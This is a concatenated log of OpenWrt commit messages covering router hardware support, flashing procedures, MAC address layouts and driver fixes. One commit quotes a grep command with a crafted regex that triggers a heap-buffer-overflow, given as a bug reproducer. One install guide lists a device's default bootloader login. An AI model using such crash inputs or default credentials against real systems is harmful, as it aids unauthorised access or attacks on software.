be898fed355e brcmfmac: send port authorized event for FT-802.1X
due to nl80211 dependencies.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This package contains nvram files for brcmfmac, a mac80211 driver for FullMAC
Cypress devices.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
1ec6ece version: bump snapshot
e13de91 main: remove unused include <linux/version.h>
72eb17c wg-quick: linux: support older nft(8)
1d8e978 global: fix up spelling
e02713e wg-quick: linux: add support for nft and prefer it
b4e3a83 compat: support building for RHEL-8.1 instead of RHEL-8.0
f29e3ac socket: convert to ipv6_dst_lookup_flow for 5.5
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
In the rare event a pre-populated fw_env.config exists in the rootfs prior
to firstboot, calling fw_setenv after the system has initialised will
annihilate the devices environment due to two identical lines in
fw_env.config.
Check for existence prior to blind appendage.
Signed-off-by: Imran Khan <gururug@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
[daniel@makrotopia.org: fixed patch format, improved grep, cosmetics]
This adds the option to determine switchdev by board when setting
preinit iface for failsafe. The patch reorganizes the code to use
functions for setting correct switchdev based on SOC and board,
which is supposed to improve readability and maintainability.
In this patch, the ramips_switchdev_from_board function is added
without specifying an actual device using it. This is meant to
make the life of device supporters waiting for merge easier, as
there is less to rebase and keep track of.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ipTIME A104ns is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A.
Specifications:
- SoC: MT7620A
- RAM: DDR2 64MB
- Flash: SPI NOR 8MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7610EN
- Ethernet: 5x 10/100Mbps
- Switch: SoC internal
- USB: 1x 2.0
- UART:
- J2: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
In contrast to to-be-supported A1004ns, the A104ns has no usable
value in 0x1fc40 (uboot), so wan_mac needs to be calculated.
Also note that GPIOs for the LEDs really are inverted compared to
the A1004ns.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[moved state_default to device DTS, reordered properties in wmac,
added comment about wan_mac and LED GPIOs]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TL-WDR4300 board uses only green LED names in DTSI.
This patch adds migration for them.
The actual LED colors on the devices have been reported to vary
across subrevisions (v1.x). Despite, the USB LEDs on the back might
have different color than the other LEDs on the front.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Edimax RG21S has a label which bears two MAC addresses:
2.4 GHz (n) and 5 GHz (n+1)
The complete MAC address setup is as follows:
2.4 GHz *:83 factory 0x4, u-boot-env wlanaddr
5 GHz *:84 factory 0x8004
LAN *:83 u-boot-env ethaddr
WAN *:85 u-boot-env wanaddr
Since 2.4 GHz is the first address on the label and the same
as used for ethernet, take this one for label MAC address.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This increases SPI frequency from the relatively low 10 MHz to 40 MHz.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[added commit title/message, split patch]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This sdhci and i2c nodes were copy-pasted, but are not needed as
the device does not provide that functionality. Remove them.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[added commit title/message, split patch]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This enables the system LED to indicate a running firmware upgrade. This
pattern is used on most platforms provided by the generic base-files
package. ar71xx uses it's own implementation for the system-LED, where
the upgrade case is not yet implemented.
Signed-off-by: David Bauer <mail@david-bauer.net>
With this patch, txpower for the PHY is applied when configuring the PHY
instead of the VIF. Otherwise, the configured txpower is not applied for
the first initialized VIF when using DFS channels, as it is currently
applied too early when the CAC hasn't finished.
Reported-by: Martin Weinelt <martin@darmstadt.freifunk.net
Signed-off-by: David Bauer <mail@david-bauer.net>
Tested-by: Martin Weinelt <martin@darmstadt.freifunk.net>
Hardware
--------
SoC: NXP P1020 (2x e500 @ 800MHz)
RAM: 256M DDR3 (Micron)
FLASH: 32M NOR (Spansion S29GL128S)
BTN: 1x Reset
WiFi: 1x Atheros AR9590 2.4 bgn 3x3
2x Atheros AR9590 5.0 an 3x3
ETH: 1x Gigabit Ethernet (Atheros AR8033)
LED: System (green/red) - Radio{0,1} (green)
LAN (connected to PHY)
- GE blue
- FE green
Serial is a Cisco-compatible RJ45 next to the ethernet port.
115200-N-8 are the settings for OS and U-Boot.
Installation
------------
1. Grab the OpenWrt initramfs, rename it to 01C8A8C0.img. Place it in
the root directory of a TFTP server and serve it at
192.168.200.200/24.
2. Connect to the serial port and boot the AP. Stop autoboot in U-Boot
by pressing Enter when prompted. Credentials are identical to the one
in the APs interface. By default it is admin / new2day.
3. Set the bootcmd so the AP can boot OpenWrt by executing
$ setenv boot_openwrt "setenv bootargs;
cp.b 0xee000000 0x1000000 0x1000000; bootm 0x1000000"
$ setenv bootcmd "run boot_openwrt"
$ saveenv
If you plan on going back to the vendor firmware - the bootcmd for it
is stored in the boot_flash variable.
4. Load the initramfs image to RAM and boot by executing
$ tftpboot 0x1000000 192.168.200.200:01C8A8C0.img; bootm
5. Make a backup of the "firmware" partition if you ever wish to go back
to the vendor firmware.
6. Upload the OpenWrt sysupgrade image via SCP to the devices /tmp
folder.
7. Flash OpenWrt using sysupgrade.
$ sysupgrade -n /tmp/openwrt-sysupgrade.bin
Signed-off-by: David Bauer <mail@david-bauer.net>
JCG JHR-AC876M is an AC2600M router
Hardware specs:
SoC: MT7621AT
2.4GHz: MT7615N 4x4 @ PCIe0
5GHz: MT7615N 4x4 @ PCIe1
Flash: Winbond W25Q128JVSQ 16MiB
RAM: Nanya NT5CB128M16 256MiB
USB 2.0 and 3.0 ports
6 LEDs, 3 of which are connected to SoC GPIO
Reset and WPS buttons
Flash instructions:
Stock to OpenWrt:
Upload factory.bin in stock firmware's upgrade page,
do not preserve settings
OpenWrt to stock:
Push and hold the reset button for 5s while power cycling to
enter recovery mode;
Visit 192.168.1.1 and upload stock firmware
MAC addresses map:
0x0004 *:1c wlan2g/wan/label
0x8004 *:20 wlan5g
0xe000 *:1b lan
0xe006 *:1a not used in stock fw
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
This allows JCG_MAXSIZE to be specified in kilobytes. This makes
this value more consistent and easier comparable with other size
variables.
This also changes the only occurence of the variable, for Cudy WR1000.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ipTIME A6ns-M is a 2.4/5GHz band AC1900 router, based on MediaTek MT7621A.
Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7615
- 5GHz: MT7615
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- UART:
- J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This does several trivial DTS style improvements:
- Move device name compatible to DTS files (and fix compatible in
11acnas.dts)
- Remove xhci node as status is set to okay in mt7621.dtsi already
- 0x0 instead of 0x0000
- Simplify state_default node definition
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ZIO FREEZIO is a 2.4/5GHz band AC1200 router, based on MediaTek MT7621A.
Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7603EN
- 5GHz: MT7612EN
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- USB: 1x 3.0
- UART:
- J4: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1
Notes:
- FREEZIO has almost the same board as WeVO W2914NS v2.
- Stock firmware is based on OpenWrt BB.
MAC addresses in factory partition:
0x0004: WiFi 2.4GHz (label_mac-8)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac-4)
0xe000: LAN (label_mac+1)
Installation via web interface:
1. Access web admin page and turn on "OpenWrt UI mode".
2. Flash sysupgrade image through LuCI, with the "Keep settings" option
OFF.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Make sure to NOT preserve settings.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebase, use mt7621_wevo_w2914ns-v2.dtsi]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware:
Allwinner H3 upto 1.2GHz
512MB DDR3 RAM
8GB on-board eMMC - mountable, can be used as boot with custom boot.scr
microSD-card slot
WiFi 802.11n (AP6212A) - working
Bluetooth (AP6212A) - not working for now
Micro-USB OTG + 2*USB headers
UART 3.3V - working
GPIO/I2C/SPI 2.54mm headers
Standard sunxi SD-card installation procedure - copy image to SD card,
insert in into slot and boot. First time you will need UART adapter to
enable on-board wireless (or just build custom image with enabled WiFi).
To boot from eMMC:
- boot from SD
- copy SD image to emmc (dd bs=... if=.... of=/dev/mmcblk2)
- mount eMMC boot partition and replace boot script on it
- unmount, reboot
To use i2c, spi and more uarts - replace dtb on boot partition with
fixed one (use dtc or fdt-tools).
Signed-off-by: Roman Bazalevsky <rvb@rvb.name>
[rebase onto device name consolidation patches]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The device part in the SUNXI_DTS variable always corresponds to
device node name. This is another redundancy that can be removed
by calculating the DTS name from a newly introduced SUNXI_SOC
variable and the node name.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This changes device definition to resemble the vendor_device scheme
already present for the majority of device compatible strings.
By doing this, we achieve several advantages at once:
- Image names and node names are more consistent with other targets.
- SUPPORTED_DEVICES can be set automatically for all but two cases.
- Image names and node names are in line with DEVICE_TITLEs.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TL-WDR4300 v1 sold in Israel has a different TPLINK_HWID.
Thanks to Josh4300 for testing on device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The variables UBNT_BOARD and UBNT_VERSION are defined in the parent
Device/ubnt definition and then overwritten for most of the derived
platform definitions (e.g. Device/ubnt-wa).
Since this mixed use of inheritance and overwriting can be misleading,
this moves the variables to the platform-based definitions.
While at it, reorder the definitions to have order consistent, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The device label contains:
E01: B8:69:F4:xx:xx:07
E02: B8:69:F4:xx:xx:09
The first value corresponds to the address set in hard_config 0x10.
That one is taken for the label MAC address.
Thanks to Martin Schiller for retrieving the information.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.
The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.
This removes the wan_mac setup for the following devices as they
do not set up a MAC address for ethernet in the first place:
- asiarf,awapn2403
- belkin,f7c027
- dlink,dir-615-d
- mofinetwork,mofi3500-3gn
- prolink,pwh2004
- ralink,v22rw-2x2
- unbranded,wr512-3gn-4m
- unbranded,wr512-3gn-8m
While at it, make some DT node labels consistent with the label
property.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.
The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.
This removes the wan_mac setup for ralink,v11st-fe as this device
does not set up a MAC address for ethernet in the first place.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.
The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.
While at it, change the partition label for zyxel,keenetic-extra-ii
to factory to be consistent with node label and all the other devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.
The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.
The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The evaluation boards do not set up a MAC address for eth0
in the first place, so it does not make sense to calculate a WAN
address from the random MAC used there.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TP-Link Archer C20i/C20 v1/C50 v1 seem to be almost the same,
so creating a common DTSI will reduce duplicate code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The DTS variable has been removed in 402138d12d ("ramips: Derive
DTS name from device name in Makefile"), but the DEVICE_VARS entry
has been overlooked.
Remove it now since we are not using this variable.
This must _not_ be backported to 19.07, where the variable is still
in use.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The switch LAN port numbers are in reversed order with original config.
With this patch they are fixed.
Port order checked on both devices.
Signed-off-by: Gabor Varga <vargagab@gmail.com>
[merged definitions into appropriate block, extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Current OpenWrt MAC setup:
eth0 &rom 0xf100 :48
eth0.2 eth0+1 :49
wlan0 (5 GHz) &radio 0x8004 different OUI
wlan1 (2.4 GHz) &radio 0x4 same OUI as wlan0
Label MAC address corresponds to eth0 (ðernet).
No additional addresses found in hexdump of rom/radio.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
bef0b1cb31 libio: Disable vtable validation for pre-2.1 interposed handles [BZ #25203]
4d5cfeb510 rtld: Check __libc_enable_secure before honoring LD_PREFER_MAP_32BIT_EXEC (CVE-2019-19126) [BZ #25204]
92f04eedb5 mips: Force RWX stack for hard-float builds that can run on pre-4.8 kernels
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The release notes since last time for wave-1:
* November 29, 2019: Fix IBSS merge issue, related to TSF id leakage bug in firmware code.
Thanks for Ahmed Zaki @ Mage-Networks for helping to diagnose and test.
The release notes since last time for wave-2:
* December 6, 2019: Fix 160Mhz problem caused by logic that did not take into account the fact that
160Mhz has only 1/2 of the NSS of lower bandwidths in the rate table.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Enabling legacy PTYs causes problems with procd-hotplug.
And as this is a headless target, no need to have virtual terminals.
Remove corresponding kernel config options, they are disabled in
generic kernel config.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Enabling legacy PTYs causes problems with procd-hotplug.
And as this is a headless target, no need to have virtual terminals.
Remove corresponding kernel config options, they are disabled in
generic kernel config.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
If no AP is configured, hostapd-${phy}.conf is not being created,
hence md5sum fails and causes log pollution:
netifd: radio1 (3183): md5sum: can't open '/var/run/hostapd-phy1.conf': No such file or directoy
Hence make sure the file exists when calling md5sum.
Fixes: a5bc9787d4 ("mac80211: add support for dynamically reconfiguring wifi")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Before commit 60fb4c92b6 ("hostapd: add ubus reload") netifd was
tracking hostapd/wpa_supplicant and restarting wifi in case of a
process crash. Restore this behaviour by tracking the PIDs of
hostapd and wpa_supplicant.
Also make sure hostapd and/or wpa_supplicant have been started before
emmitting ubus calls to them using ubus wait_for.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
In addition to wpa_supplicant and hostapd managed interfaces, also
track unmanaged interfaces. This is used to make sure that running
'wifi' always returns into a clean state regardless of what the user
did before.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Allows graceful restart of crashing hostapd/wpa_supplicant instances
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
[daniel@makrotopia.org: attempt to launch only present services]
The "/dts-v1/;" identifier is supposed to be put once at the beginning
of a device tree file. Thus, it makes no sense to provide it a second
time in to-be-included DTSI files.
This removes the identifier from all DTSI files in /target/linux.
Most of the DTS files in OpenWrt do contain the "/dts-v1/;". It is
missing for most of the following targets, though:
mvebu, ipq806x, mpc85xx, ipq40xx
This does not touch ipq806x for now, as the bump to 4.19 is close.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This enables the CTRL_IFACE_MIB symbol for wpad-full and hostapd-full.
If it is not enabled, statistic outputs such as "hostapd_cli all_sta"
are empty.
Signed-off-by: David Bauer <mail@david-bauer.net>
Netgear WNR3500L is an already supported device, but out of the
box, the device has no switch configuration and there is no wan.
The correct configuration for this specific model is similar to
some other models. This simple commit adds the correct switch
and the out-of-the-box experience is improved.
Experimentally determined:
Port 0 => WAN
Port 1..4 => LAN
Port 5..7 => unused
Port 8 => CPU
Signed-off-by: Olli Asikainen <olli.asikainen@gmail.com>
Tested-by: Fabian Zaremba <fabian@youremail.eu>
[added port mapping to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A small subset of devices uses decimal notation for mediatek,mtd-eeprom
in DTS files. Convert to hexadecimal notation to be consistent with
all the rest.
Also change "0" to "0x0" in the same files for consistency.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Mikrotik RBM33G has only 2 LAN ports.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[moved node in 02_network to maintain alphabetic sorting]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Physical port order watched from the backside of the C20i
(from left to right) is: Internet / 1 / 2 / 3 / 4
Physical Port Switch port
WAN 0
LAN 3 1
LAN 4 2
LAN 1 3
LAN 2 4
(not used) 5
CPU 6
Signed-off-by: Walter Sonius <walterav1984@gmail.com>
[commit message/title improvements]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"[...] the size component shall be zero."
(See "PCI Bus Binding to: IEEE Std 1275-1994 Rev 2.1"
section "4.1.1 Open Firmware-defined Properties for Child Nodes")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
* wg-quick: linux: suppress error when finding unused table
This fixes a spurious warning messages seen with recent versions of iproute2
and kernels.
* wg-quick: linux: ensure postdown hooks execute
* wg-quick: linux: have remove_iptables return true
* wg-quick: linux: iptables-* -w is not widely supported
Adding in iptables had some hiccups. For the record, I'm very unhappy about
having to put any firewalling code into wg-quick(8). We'll of course need to
support nftables too at some point if this continues. I'm investigating with
upstream the possibility of adding a sysctl to patch the issue that iptables
is handling now, so hopefully at somepoint down the line we'll be able to shed
this dependency once again.
* send: use kfree_skb_list
* device: prepare skb_list_walk_safe for upstreaming
* send: avoid touching skb->{next,prev} directly
Suggestions from LKML.
* ipc: make sure userspace communication frees wgdevice
Free things properly on error paths.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Hardware:
* SoC: Atheros AR9342-BL1A
* RAM: 64MB DDR2 (Winbond W9751G6KB-25)
* Flash: 16MB SPI NOR (Macronix MX25L12835FZ2I-10G)
* Ethernet: 1x 10/100/1000 Mbps (Atheros AR8035-A) with 24V PoE support
* Wifi 2.4GHz: Atheros AR9340 v2
* WiFi 5GHz: Ubiquiti U-AME-G1-BR4A (rebranded QCA988X v2)
* LEDs: 1x Power, 1x Ethernet
* Buttons: 1x Reset
* UART: 1x TTL 115200n8, 3.3V RX TX GND, 3.3V pin closest to RJ45 port
The LEDs do not seem to be connected to any GPIO, so there is currently
no way to control them.
Installation via U-Boot, TFTP and serial console:
* Configure your TFTP server with IP 192.168.1.254
* Connect serial console and power up the device
* Hit any key to stop autoboot
* tftpboot 0x81000000 openwrt-ath79-generic-ubnt_litebeam-ac-gen2-initramfs-kernel.bin
* bootm 0x81000000
* copy openwrt-ath79-generic-ubnt_litebeam-ac-gen2-squashfs-sysupgrade.bin
to /tmp
* sysupgrade /tmp/openwrt-ath79-generic-ubnt_litebeam-ac-gen2-squashfs-sysupgrade.bin
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Petr Štetiar <ynezz@true.cz>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The sysupgrade image contains OpenWrt specific metadata. Having this
metadata in the factory images makes no sense. Drop IMAGE/factory.bin
from Device/ubnt-wa and use the default from Device/ubnt instead.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Petr Štetiar <ynezz@true.cz>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It turns out my 4.14 testing had a rather large flaw in it and the
'extack' mechanism isn't quite ready. Remove the extack stuff from this
backport.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Since the original backports from kernel 5.3 a few things have been
tweaked by kernel bumps & other upstream changes. Update the backport
to reflect upstream as closely as possible and remove the bitrot.
Functions remain the same, error reporting improved.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
In d421a8b944 ("ath79: read label MAC address from flash instead
of using phy0/phy1") the source of the label MAC address was changed
for devices just reading it from phy0. To get rid of the dependency
from phy startup, addresses were read directly from the flash
locations that are used to initialize the phy MAC addresses.
Unfortunately, it turned out that Ubiquiti XM devices seem to have
different flash locations than expected, and also seem to have
specific locations for different devices (all in art/EEPROM):
0xe012 AR9280 Nanostation M2 - 0x120c
0xe035 AR9280 Nanostation M3 - 0x120c
0xe1b2 AR9280 Rocket M2 - 0x120c
0xe1c3 AR9280 Rocket M3 - 0x120c
0xe1b5 AR9280 Rocket M5 - 0x120c
0xe2d5 AR9280 Bullet M2 Titanium - 0x120c
0xe2b5 AR9280 Nanobridge M5 - 0x120c
0xe202 AR9280 Bullet M2 - 0x120c
0xe232 AR9287 Nanobridge M2 - 0x110c
0xe4a2 AR9285 AirRouter - 0xa0bf
Picostation M2 - 0x120c and 0xa0bf
Nanostation Loco M2 - not in 0x120c, other locations not checked
An additional problem of the Ubiquiti device support in OpenWrt is
that we provide images that match several subvariants of the devices,
which might have different MAC address locations.
Given that reading the address from phy0 in 02_network _is_ working
for the ath79 target in general, it does not seem reasonable to
rebuild a complex MAC address retrieval mechanism which is already
present in the ath9k driver.
So, this patch reverts the label MAC address source for Ubiquiti XM
devices (and the Unifi AP) to /sys/class/ieee80211/phy0/macaddress.
This doesn't affect XW and Unifi AC devices, where the label MAC
address source is defined via device tree.
For alfa-network,ap121f the location 0x1002 is kept, as this has
been verified during device support preparation in PR #2199.
Fixes: d421a8b944 ("ath79: read label MAC address from flash
instead of using phy0/phy1")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
IPv6 protocol is enabled on all gre interfaces, but gre(v6)tap
interfaces are usually added to a bridge interface, in which case
IPv6 should be enabled only on the bridge interface.
Signed-off-by: Alin Nastac <alin.nastac@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
Sysupgrade was failing due to incorrect replacement of backticks:
/sbin/sysupgrade: /lib/upgrade/platform.sh: line 101: syntax error: missing '))'
Fixes: 0bbfc3dff7 ("octeon: replace backticks by $(...)")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
The Atheros AR8327 and AR8337 have (according to their datasheet) a
VLAN table with a maximum of 4096 entries.
Currently, there's a hard limit of 128 VLANs, which is the same as
for most other Atheros switches. Increase this limit only for the
AR83x7 series and modify some shared functions to allow them to work
with a variable max VLAN count.
Signed-off-by: David Bauer <mail@david-bauer.net>
The Owl Loader (named after the codename that Atheros gave
these devices back in the day) has been accepted upstream.
This patch removes the "misc" driver OpenWrt had and adds
the remaining differences against the version that ships
with 5.4-rc1 into a separate "120-owl-loader-compat.patch"
file that can be cut down once AR71XX is being dealt with.
Note: I decided to keep the existing (kmod-)owl-loader
package name around for now. The kernel module file in
the kmod package will be called ath9k_pci_owl_loader.ko
though.
Acked-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Problem found by AddressSanitizer[1]:
Latest `grep` (git commit 1019e6e) compiled with asan may cause a
heap-buffer-overflow when `-i` is specified.
./grep -i '\(\(\)*.\)*\(\)\(\)\1' /bin/chvt
=================================================================
==16206==ERROR: AddressSanitizer: heap-buffer-overflow on address
1. https://debbugs.gnu.org/34140
Ref: https://sourceware.org/bugzilla/show_bug.cgi?id=24114
Signed-off-by: Alin Nastac <alin.nastac@gmail.com>
[commit title and description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This reverts commit 8176431963 ("mt76: probe load mt7615 driver
asynchronously"). After said commit, users report that MT7615 no longer
works on boot and they have to manually enable WiFi (via command "wifi") to
make it working again.
Fixes: FS#2546
Ref: https://forum.openwrt.org/t/xiaomi-r3p-no-wifi-on-boot/45509
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
MeshPoint.One is Wi-Fi hotspot and smart IoT gateway (based upon
Jalapeno module from 8Devices).
MeshPoint.One (https://meshpointone.com) is a unique Wi-Fi hotspot and
smart city gateway that can be installed and powered from street
lighting (even solar power in the future). MeshPoint provides up to 27
hours of interrupted Wi-Fi and IoT services from internal battery even
when external power is not available. MeshPoint.One can be used for
disaster relief efforts in order to provide instant Wi-Fi coverage that
can be easily expanded by just adding more devices that create wide area
mesh network. MeshPoint.One devices have standard Luci UI for
management.
Features:
- 1x 1Gpbs WAN
- 1x 1Gbps LAN
- POE input (eth0)
- POE output (eth1)
- Sensor for temperature, humidity and pressure (Bosch BME280)
- current, voltage and power measurement via TI INA230
- Hardware real time clock
- optional power via Li-Ion battery
- micro USB port with USB to serial chip for easy OpenWrt terminal
access
- I2C header for connecting additional sensors
Installation:
-------------
Simply flash the sysupgrade image from stock firmware.
Or use the built in Web recovery into bootloader:
Hold Reset button for 5 to 20 seconds or use UART and httpd command.
Web UI will appear on 192.168.2.100 by default.
For web recovery use the factory.ubi image.
Signed-off-by: Damir Samardzic <damir.samardzic@sartura.hr>
Signed-off-by: Damir Franusic <damir.franusic@sartura.hr>
Signed-off-by: Valent Turkovic <valent@meshpoint.me>
Signed-off-by: Robert Marko <robert@meshpoint.me>
[commit description long line wrap, usb->USB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Lets move common code for Jalapeno into DTSI, this way Jalapeno based
boards don't introduce duplicate code.
While at it, lets also fix some style issues and update to current DTS
style.
Signed-off-by: Robert Marko <robert@meshpoint.me>
[commit description long line wrap]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This also fixes mac80211_prepare_vif iw set channel in monitor or
mesh mode.
Signed-off-by: Santiago Piccinini <spiccinini@altermundi.net>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
[daniel@makrotopia.org: fixed commit message]
e4bd927 cast ucert_argv to proper type when passing to execv
Fixes warnings:
warning: passing argument 2 of 'execv' from incompatible pointer type
[-Wincompatible-pointer-types]
254 | execv(usign_argv[0], usign_argv)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
By adding the vendor to the Makefile device definition node name,
one can derive the standard compatible used in SUPPORTED_DEVICES
instead of having to specify it manually.
Despite, this moves the naming scheme closer to what is used for
other targets (ath79, ramips).
Build-tested on all subtargets.
Run-tested on TP-Link TL-WDR4900 v1.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces tabs by spaces when preceding an equal sign. This improves
consistency in the file and makes the indent look correct on all platforms.
While at it, also fix one case of inconsistent leading spaces.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch is based on #1689 and adds support for TP-Link Archer
C6 v2 (US) and A6 (US/TW).
The hardware is the same as EU and RU variant, except for GPIOs
(LEDS/Buttons), flash(chip/partitions) and UART being available
on the board.
- SOC: Qualcomm QCA9563 @ 775MHz
- Flash: GigaDevice GD25Q127CS1G (16MiB)
- RAM: Zentel A3R1GE40JBF (128 MiB DDR2)
- Ethernet: Qualcomm QCA8337N: 4x 1Gbps LAN + 1x 1Gbps WAN
- Wireless:
- 2.4GHz (bgn) QCA9563 integrated (3x3)
- 5GHz (ac) Qualcomm QCA9886 (2x2)
- Button: 1x power, 1x reset, 1x wps
- LED: 6x LEDs: power, wlan2g, wlan5g, lan, wan, wps
- UART: 115200, 8n1 (header available on board)
Known issues:
- Wireless: 5GHz is known to have lower RSSI signal, it affects speed and range.
Flash instructions:
Upload openwrt-ath79-generic-tplink_archer-c6-v2-us-squashfs-factory.bin
via the router Web interface.
Flash instruction using tftp recovery:
1. Connect the computer to one of the LAN ports of the router
2. Set the computer IP to 192.168.0.66
3. Start a tftp server with the OpenWrt factory image in the
tftp root directory renamed to ArcherA6v2_tp_recovery.bin.
4. Connect power cable to router, press and hold the
reset button and turn the router on
5. Keep the reset button pressed until the WPS LED lights up
6. Wait ~150 seconds to complete flashing
Flash partitioning: I've followed #1689 for defining the partition layout
for this patch. The partition named as "tplink" @ 0xfd0000 is marked
as read only as it is where some config for stock firmware are stored.
On stock firmware those stock partitions starts at 0xfd9400 however
I had not been able to make it functional starting on the same address as
on stock fw, so it has been partitioned following #1689 and not the stock
partition layout for this specific partition. Due to that firmware/rootfs
partition lenght is 0xf80000 and not 0xf89400 as stock.
According to the GPL code, the EU/RU/JP variant does have different GPIO pins
assignment to LEDs and buttons, also the flash memory layout is different.
GPL Source Code: https://static.tp-link.com/resources/gpl/gpl-A6v2_us.tar.gz
Signed-off-by: Anderson Vulczak <andi@andi.com.br>
